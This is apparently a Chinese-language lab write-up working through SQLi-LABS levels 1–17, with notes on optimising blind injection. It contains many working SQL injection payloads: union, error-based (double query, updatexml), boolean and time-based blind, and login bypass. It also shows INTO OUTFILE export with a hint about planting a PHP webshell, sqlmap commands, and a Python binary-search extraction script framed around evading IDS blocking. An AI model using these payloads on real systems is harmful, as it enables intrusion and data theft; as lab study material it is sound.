注入思路 && SQLi LABS(1-17) wp && 注入优化

总结sqli labs的注入思路

  • 查询时要判断是否要将主查询回显数据置空!
  • GET型注入时,浏览器自动将单引号'url编码,但没有将井号符#编码,查询时需要自己将#url编码成%23,或用--+

可在题的php文件中做修改,将查询的sql语句输出出来


2019/3/14更新,重新整理一下,以便以后学习

一些关键词:

  • union : 将两个或两个以上select语句的查询结果合并
  • order by num : 将数据以第num列进行排序,默认按照首字符的16进制进行排序
  • infomation_schema : mysql下的系统数据库,存储着所有数据库相关的信息;一般在注入时使用的表有:
    • tables : 存储着数据库中的表名
    • columns : 存储着表中的列字段名
    • schemata : 存储着所有数据库名

与information_schema配合使用的关键字有:

  • table_name : 表名
  • column_name : 列名
  • table_schema : 当前数据库名
  • schema_name : 数据库名

一些函数:

  • database() : 当前数据库
  • group_concat() : 将查询到的多行内容集合到一行显示
  • sleep(num) : 睡眠num秒
  • benchmark(num, func()) : 将函数func执行num次
  • concat() : 连接字符串
  • version()或@@version :MySQL 版本
  • user() :数据库用户名
  • @@datadir :数据库路径
  • @@version_compile_os :操作系统版本

SQLi LABS

1.单字符注入

输入

id=1'

出现

在’1’后面多出了一个单引号,则为字符型注入

查询字段列数:

order by 1%23

# order by num即为以第num列进行排序   

当order by 4时出现错误,即主查询有三个字段,联合查询也必须有三个查询字段

当前数据库(使用database()函数)

union select 1,2,database()%23

得到当前数据库为:security

一些知识:

information_schema 相当于一个数据库
这个数据库有一张tables表,有一张columns的表,其中:
tables这张表有table_name(表名)、table_schema(表所在数据库名)这两个字段
columns这张表有column_name(字段名)这个字段

当前数据库中的表

union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'%23

or(直接用select database()指定为当前数据库)

union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=(select database())%23

得到表:emails,referers,uagents,users

其中表users的字段

union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'%23

得到字段名后,获取字段下的数据

union select 1,2,group_concat(id) from users%23

2.数字型注入

输入

id=1'

输入的id没有出现错误,而在LIMIT 0,1前面出现了一个单引号,则说明为数字型注入

则输入语句格式为(与第一题字符型输入类似)

id=0 union select......%23

3.加括号的注入

输入

id=1'

出现

可推测出输入的id位于一个括号内

则需要在单引号’后加半个括号)来闭合前面的半个括号(

注入时输入

id=0') union......%23

即可

验证:

4.双引号的字符型注入+括号

输入

id=1'

发现正常显示

除了单引号,括号、中文单引号等都试了,发现页面没有报错

试了下双引号,成功引起报错

还发现双引号后面有半个括号,则需要将括号闭合

注入时输入

0") union ......%23

即可

验证

php内的语句为

$id = '"' . $id . '"';
$sql="SELECT * FROM users WHERE id=($id) LIMIT 0,1";

注:
若输入

id=1'

则查询语句会成为

SELECT * FROM users WHERE id=("1'") LIMIT 0,1"

那么问题来了,为什么仍然会查询,不会报错呢?

查看资料,书上有这样一句话:

严格的说,数字也是字符串,只不过在查询数据为数字时不会加引号

我测试了一下

即sql也可以自动转化数据类型

5.双查询注入

这个题弄了好久,与前几题相比需要学习一些新的知识

concat():把两个字符串连接到一起

rand():是一个随机函数,返回大于0,小于1的随机值

floor():将小数向下取整,如floor(0.5)的值为0,floor(rand())的值为0

count(*): 返回表中的记录数(属于聚合函数)

select id as newName : 将id起了一个新名字返回回来

group by : 语句用于结合聚合函数,根据一个或多个列对结果集进行分组。
(与order by 很像,默认上下顺序:数字从小到大,字母按字母表顺序)

先进行测试:

数据库名:test1

表users中的数据:

使用双查询:

即查询时先进行concat中的语句:

select database() 返回test1
floor(rand()*2) 随机返回0,或1

经过concat()连接后就成为了test10(随机返回0)

多查询几次,发现还有另外三种情况:

由于原表数据有两行,因此只返回了两行数据,四种情况

1.test10 test11;
2.test11 test10;
3.test11 test11;
4.test10 test10;

就相当于

select 1 from users;  会返回两行1
select 2 from users;  会返回两行2

但由于子查询(concat()中的查询)是个随机数,因此会将随机的查询的结果整合并返回(循环查询并插入)

此外,可以用as newName的形式将返回的结果新起一个字段名:

使用group by:

表users数据:

分组:

注意到了根据username进行分组时,重复的数据只显示了一个

这是怎样执行的呢?

看了一篇大佬的博客,说使用group by子句时,相当于事先创建了一个虚拟的表,之后再进行select查询

group by username

即以username为一个字段,相同的值合并为一行

如,当前表数据为:

则group by username的虚拟表数据为

id  username       password

5   biubiubiu      asdfg
4                  adfdf1 

1   gtfly          66666
3                  1234321

即一行里面id与password有两个数据,用聚合函数sum函数(计算数值和)验证:

现在,测试这条语句:

select count(*) from users group by floor(rand()*2);

测试发现有一定几率会出错:

为什么会这样呢?

上面说了,执行group by之前会创建一个虚拟表

group_key    count(*)

...          ...

group_key为主键

查询第一条数据,floor(rand()*)会执行一次,假设返回的值为0,发现虚拟表中的主键没有0这个值,则会准备插入这个值,插入时会再执行一次,假设第二次返回1,则此时虚拟表为:

group_key    count(*)

1            1

查询第二条数据,floor(rand()*2)会执行一次,假设返回的值为1,发现虚拟表中的主键有这个值,则不会再执行一次,直接插入,此时虚拟表为:

group_key    count(*)

1            2

查询第三条数据,floor(rand()*2)会执行一次,假设返回的值为0,发现虚拟表中的主键没有这个值,则准备插入,会再执行一次,假设第二次返回的值是1,但虚拟表已经存在1这个主键了,则会报错

参考链接(感谢大佬)

https://www.cnblogs.com/dplearning/p/7355595.html

回到这个题

输入

?id=1'

会报错,进行单引号注入,使用order by语句正常得出有三个字段,但是进行联合查询时却总显示

看了下源代码,发现根本没有查询成功后的输出语句,只会输出报错的语句

但可以利用双查询注入出现的重复键值的报错来获取信息,运用上述知识

?id=0'union select 1,count(*),concat((select database()),floor(rand()*2)) as a from 
information_schema.tables group by a%23;

因为具有随机性,多刷新几下

得到数据库名security

之后获取表,发现

?id=0'union select 1,count(*),concat((select group_concat(table_name) from information_schema.tables where table_schema='security'),floor(rand()*2)) as a from 
information_schema.tables group by a%23;

这条语句不起作用

为什么呢?测试了一下,发现果然这样的注入方式有问题

group by 后面为表原字段名时,group_concat将分组后的虚拟表的每行数据整合并正常返回

换了一条语句,使用limit a,b(返回从a+1开始的b条的数据),逐个查询

?id=0'union select 1,count(*),concat((select table_name from information_schema.tables where table_schema='security' limit 0,1),floor(rand()*2)) as a from 
information_schema.tables group by a%23;

可以得到第一个表的名,不断更换limit的值便可得出所有表……

6.双引号双查询注入

输入单引号不报错,用双引号发现报错了,注入方式同第五题

7.导出注入

构造

?id=1

构造

?id=1'

出错

再构造

?id=1'%23

发现仍出错,继续构造

?id=1')%23  出错
?id=1'))%23 不出错

则可根据页面是否出现’You are in…’进行盲注(参考第8题)

但这道题目的不是让用盲注做的,而是用导出文件的方法来做,即将数据信息导出到一个文件中

参考:

https://mp.weixin.qq.com/s/ehrsRA5AReVkOUm-ELw3cw

句式:

select ... from ... into outfile 文件详细路径名;

先用order by得到主查询序列,为3

再构造

?id=1')) union select database() into outfile 'C:/datas/test.txt'%23

这时页面仍显示错误,但已经导出成功了

在awd攻防中,可以利用导出一句话到一个php文件来拿到shell

8.布尔型盲注

输入

?id=1

显示‘you are in’,但在1后面加一个单引号,不会报错,什么都不显示(第五、六题会报错)

然后在1’后面加上%23,又显示了‘you are in’,说明这是单引号注入类型,但是不会将错误语句输出出来

此时,使用双查询语句,要么会显示‘you are in’,要么什么都不显示(因为有随机性)

则要进行盲注了

不会显示报错语句,那盲注是什么原理来获取信息呢?

即:不断使用查询语句,根据页面是否显示‘you are in’来判断查询语句是否正确,再根据查询的内容即可获取信息

需要了解一些知识:

sql:
length(str):返回str字符串的长度。 
substr(str, pos, len):将str从pos位置开始截取len长度的字符进行返回(pos从1开始)
ascii(str):返回字符的ASCll的值

python: 
chr(str): 返回ascll码对应的字符 

这里用到了ascii()进行判断(c后面两个字母是i而不是l,第一次发现2333),因为数据库的名或字段名不一定全都是字母

要获取数据库的第一位(注意!!!由于用到了and,此时id不能为0或其他无回显的值,否则无论怎样注入,页面都不会有显示的值)

?id=1'and ascii(substr((select database()),1,1))=num

或(将and改为or即需要将id值置为0)

?id=0'or ascii(substr((select database()),1,1))=num

由于ascii有128个(0-127),则不断更改num的值,如果查询正确,即页面显示‘you are in’,即可得到数据库名的第一位

如,当num为115时(对应为’s’),页面显示‘you are in’,即可推断出数据库第一位为’s’

但由于num的范围大,不能用手一个个测试,因此可以用python写脚本的方法,运行脚本逐个获取各个位的值

脚本跑的太慢了,用sqlmap试试

sqlmap.py -u "网址" --current-db  -D 数据库名 --tables -T 表名 --columns -C 列名 --dump

盲注的过程真的太慢了。。。

9.基于时间的盲注

上面的基于布尔型的盲注是根据页面是否显示”You are in”查询的信息是否正确,但如果查询的信息错误但页面仍显示”You are in”呢?看这道题的代码

这时候,就要用到:

sleep(5) 延迟5秒
if(A,B,C) 如果表达式A成立,则返回B,否则返回C

构造

?id=1 and if(length(database())>5,sleep(5),0)

如果数据库名长度大于5,则会执行sleep(5),进行测试

可以看到执行了7秒多,但将>5改成<5

发现执行了1秒多,说明数据库长度大于5

则可以根据页面返回时间来判断查询语句是否正确获取信息,用sqlmap获取:

sqlmap.py -u "http://127.0.0.1/labs/Less-9/?id=1" --current-db

10.基于时间的盲注-双引号

将第九题的单引号改为双引号即可注入

11.post-单字符注入

一个登录框

查看源代码,提交方式为post

select ... from ... where username='$username' and password='$password'

在username与password中分别输入

1
asdf

提示登录失败

再次输入

1'
asdf

发现报错语句中出现

asdf' LIMIT 0,1

则猜测为单字符注入,后台的查询语句为

SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1;

输入后成为

WHERE username='1'' and password='asdf' LIMIT 0,1;

则使用or进行绕过,输入以下内容即可(post用#进行注释):

1'or 1=1#
asdf #随意密码

此时查询语句为

即用or 1=1 绕过username,并用注释#绕过password

登录进去了,由于LIMIT 0,1,查询到了表的第一条,那么现在输入:

1'or 1=1 order by 2#
asdf

发现正常,继续:

1'or 1=1 order by 3#
asdf

报错,则主查询有两列,构造:

1'or 1=1 union select 1,database()#
asdf

但是查询出来的仍是Dumb,因为or 1=1 将所有数据查询出来,但只有一个显示位,显示首位

那么要获取剩下的数据呢?

则可加上limit语句

1'or 1=1 union select 1,database() limit 0,1#
asdf

由于or 1=1 永真,会将所有数据查询,union后会将联合查询的数据加入到主查询数据的后面,则不断改变limit的值,最后一个数据即为联合查询的数据库名

查到13时,

1'or 1=1 union select 1,database() limit 13,1#
asdf

第14会报错,则说明当前数据库为security,说明username与password的数据有12行

进行查表

1'or 1=1 union select 1,table_name from information_schema.tables where table_schema='security' limit 13,1#
asdf

可查出第一个表,13增大获取剩下的表,到16时得到users的表,也为最后一个表

接下来获取字段,构造:

1'or 1=1 union select 1,column_name from information_schema.columns where table_name='users' limit 13,1#
asdf

得到id字段,13改为14得到username字段,改为15得到password字段,改为16报错

接下来进行查询用户名和密码数据:

1'or 1=1 union select username,password from users limit 0,1#
asdf

12.post-双引号+括号注入

构造

1'
asdf

不报错,登陆失败,则将’改成”

1"
asdf

引起报错

还出现了括号,则构造

1")or 1=1#
asdf

即成功登录,并显示了返回的信息,注入同11题

13.post-双查询注入

构造

1'
asdf

则构造

1')or 1=1#
asdf

发现登录成功,但无返回的信息,既然有返回的报错信息,那就用双查询注入,构造

1
1')or 1=1 union select count(*),concat((select database()),floor(rand()*2)) as a from information_schema.tables group by a#

多登录几次,爆出错误,得到了当前数据库名

剩下的爆表、字段…即可按照第5题的方法做

14.post-双查询注入-双引号

上题是单引号引起报错,并需要括号闭合进行注入,这道题双引号引起报错,构造

1
1"or 1=1 union select count(*),concat((select database()),floor(rand()*2)) as a from information_schema.tables group by a#

15.post-基于布尔型/时间型盲注

构造

1
1'

出现登录失败,但未显示错误,尝试双引号仍失败、无错误,构造

1
1'or 1=1#

可成功登录,但无信息

由于页面只有登录成功、登录失败两种状态,无报错,无登陆成功后的查询信息

但是页面中区分登录成功与失败的标志就是页面上的图片,查看源代码找到了登录成功显示的图片名为’flag.jpg’,登录失败后的图片名为’slap.jpg’,则可根据页面是否有关键字’flag.jpg’来判定,进行布尔盲注,当然,也可以进行时间盲注

16.post-基于布尔型/时间型盲注

构造

1
1'

登陆失败,无报错

1
1"

登陆失败,无报错,进行绕过

1
1'or 1=1#

登陆失败,无报错

1
1"or 1=1#

登陆失败,无报错

则使用sleep函数检测

1
1'or 1=1 and if(length((select database()))>5,sleep(5),0)

不成功,继续测试:

1
1"or 1=1 and if(length((select database()))>5,sleep(5),0)

不成功,继续测试:

1
1')or 1=1 and if(length((select database()))>5,sleep(5),0)

不成功,继续测试:

1
1")or 1=1 and if(length((select database()))>5,sleep(5),0)

成功!页面响应超级慢

即可进行盲注

17.post-reset password

从这题开始就与前面的题很不一样了,先分析php源代码

首先看check_input这个函数,传入一个变量$value,如果不为空则进行截取前15位

function check_input($value)
    {
    if(!empty($value))
        {
        // truncation (see comments)
        $value = substr($value,0,15);
        }

        // Stripslashes if magic quotes enabled
        if (get_magic_quotes_gpc())
            {
            $value = stripslashes($value);
            }

        // Quote if not a number
        if (!ctype_digit($value))
            {
            $value = "'" . mysql_real_escape_string($value) . "'";
            }

    else
        {
        $value = intval($value);
        }
    return $value;
    }

接下来,如果post传来了uname与passwd参数,则将uname传入check_input函数中,将返回值赋值给$uname,将passwd参数的值赋值给$passwd

// take the variables
if(isset($_POST['uname']) && isset($_POST['passwd']))

{
//making sure uname is not injectable
$uname=check_input($_POST['uname']);  

$passwd=$_POST['passwd'];


​ //logging the connection parameters to a file for analysis.
​ $fp=fopen(‘result.txt’,’a’);
​ fwrite($fp,’User Name:’.$uname.”\n”);
​ fwrite($fp,’New Password:’.$passwd.”\n”);
​ fclose($fp);

之后进行执行SQL语句查询用户名

如果查到了,则会执行update语句,将用户名的密码设置为传进来密码,如果执行出错,则会输出错误,如果未出错,则什么都不会输出;最后会输出一张图片” You password has been successfully updated “ ;

如果未查到用户名,则会输出一张图片”Bug off you Silly Dumb hacker”;

// connectivity 
@$sql="SELECT username, password FROM users WHERE username= $uname LIMIT 0,1";

$result=mysql_query($sql);
$row = mysql_fetch_array($result);
//echo $row;
    if($row)
    {
          //echo '<font color= "#0000ff">';    
        $row1 = $row['username'];      
        //echo 'Your Login name:'. $row1;
        $update="UPDATE users SET password = '$passwd' WHERE username='$row1'";
        mysql_query($update);
          echo "<br>";

        if (mysql_error())
        {
            echo '<font color= "#FFFF00" font size = 3 >';
            print_r(mysql_error());
            echo "</br></br>";
            echo "</font>";
        }
        else
        {
            echo '<font color= "#FFFF00" font size = 3 >';
            //echo " You password has been successfully updated " ;        
            echo "<br>";
            echo "</font>";
        }

        echo '<img src="../images/flag1.jpg"   />';    
        //echo 'Your Password:' .$row['password'];
          echo "</font>";

      }
    else  
    {
        echo '<font size="4.5" color="#FFFF00">';
        //echo "Bug off you Silly Dumb hacker";
        echo "</br>";
        echo '<img src="../images/slap1.jpg"   />';

        echo "</font>";  
    }
}


即:

1.输入的用户名必须要存在
2.只能利用报错语句输出查询信息

经过测试,发现admin这个用户是正确的用户,构造

admin
1'

出现了错误

则为单引号注入

进行报错注入:

参考

https://blog.csdn.net/zpy1998zpy/article/details/80631036

了解到使用下列两种函数

updatexml(目标xml文档,xml路径,更新的内容) # 更新xml文档

extractvalue(目标xml文档,xml路径) # 对xml文档进行查询

了解了一下XML

使用这两个函数时,即使查询不到目标xml文档、xml路径也不会报错,但xml路径格式写错了就会报错,并返回写入的错误语句的内容

现在构造

admin
1' and updatexml(1,concat('~',(select database())),1)#
// 1' and extractvalue(1,concat('~',(select database())))#

之后更改xpath的值就可以进一步查询了

附MYSQL5.7报错函数:

mysql> select ST_LatFromGeoHash(version());
ERROR 1411 (HY000): Incorrect geohash value: '5.7.12-log' for function ST_LATFROMGEOHASH
mysql> select ST_LongFromGeoHash(version());
ERROR 1411 (HY000): Incorrect geohash value: '5.7.12-log' for function ST_LONGFROMGEOHASH
mysql> select GTID_SUBSET(version(),1);
ERROR 1772 (HY000): Malformed GTID set specification '5.7.12-log'.
mysql> select GTID_SUBTRACT(version(),1);
ERROR 1772 (HY000): Malformed GTID set specification '5.7.12-log'.
mysql> select ST_PointFromGeoHash(version(),1);
ERROR 1411 (HY000): Incorrect geohash value: '5.7.12-log' for function st_pointfromgeohash

SQL盲注优化

在进行盲注时,经常会碰到服务器返回403的情况,原因是脚本中直接粗暴的使用for循环,导致请求数量过多,会被IDS、防火墙等设备检测出来。虽然可以每次请求后sleep一会,但这样效率太低。因此学会如何优化盲注方式还是很重要的。

0x00.二分法

二分法查找的思路如下:

1.从有序的数组的中间元素开始搜索,如果该元素正好是目标元素,则搜索过程结束,否则执行下一步

2.如果目标元素大于/小于中间元素,则在数组大于/小于中间元素的那一半区域查找,然后重复步骤 1的操作

3.如果某一步数组为空,则表示找不到目标元素

二分法查找的时间复杂度O(logn)

python写的二分查找的demo:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
def binsearch(search_list, num, low, high):
if low > high:
return -1
mid = (low + high)//2
if search_list[mid] == num:
return mid
else:
if search_list[mid] > num:
high = mid - 1
return binsearch(search_list, num, low, high)
else:
low = mid + 1
return binsearch(search_list, num, low, high)


search_list = [1,2,3,11,19,22,35]
low = 0
high = len(search_list) - 1
res = binsearch(search_list, 19, low, high)
print(res)

某使用二分法的盲注脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
import requests
import time

def binsearch(low, high, index, url, payload1, payload2):
mid = (low + high)//2
time.sleep(1)
res = requests.get(url+payload1.format(index, mid)).text
if res != '[]':
return mid
else:
#print(payload2.format(index, mid))
time.sleep(1)
res = requests.get(url+payload2.format(index, mid)).text
if res != '[]':
high = mid - 1
return binsearch(low, high, index, url, payload1, payload2)
else:
low = mid + 1
return binsearch(low, high, index, url, payload1, payload2)

if __name__ == '__main__':
url = 'http://xxx/index.php?id='
payload1 = 'if(ascii(substr((select(group_concat(username))from(admin)),{},1))={},1,0)'
payload2 = 'if(ascii(substr((select(group_concat(username))from(admin)),{},1))<{},1,0)'

flag = ''
for index in range(1,100):
flag += chr(binsearch(33, 127, index, url, payload1, payload2))
print('[%d] ' % index, flag)

0x01.范围定位

可以通过regepx正则表达式或between and句式来确定字符的范围,例如:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
mysql> select substr('admin',1,1) regexp '[a-z]';
+------------------------------------+
| substr('admin',1,1) regexp '[a-z]' |
+------------------------------------+
| 1 |
+------------------------------------+
1 row in set (0.00 sec)

mysql> select ascii(substr('admin',1,1)) between 50 and 100;
+-----------------------------------------------+
| ascii(substr('admin',1,1)) between 50 and 100 |
+-----------------------------------------------+
| 1 |
+-----------------------------------------------+
1 row in set (0.00 sec)

参考:

https://bbs.ichunqiu.com/thread-43169-1-1.html?from=bkyl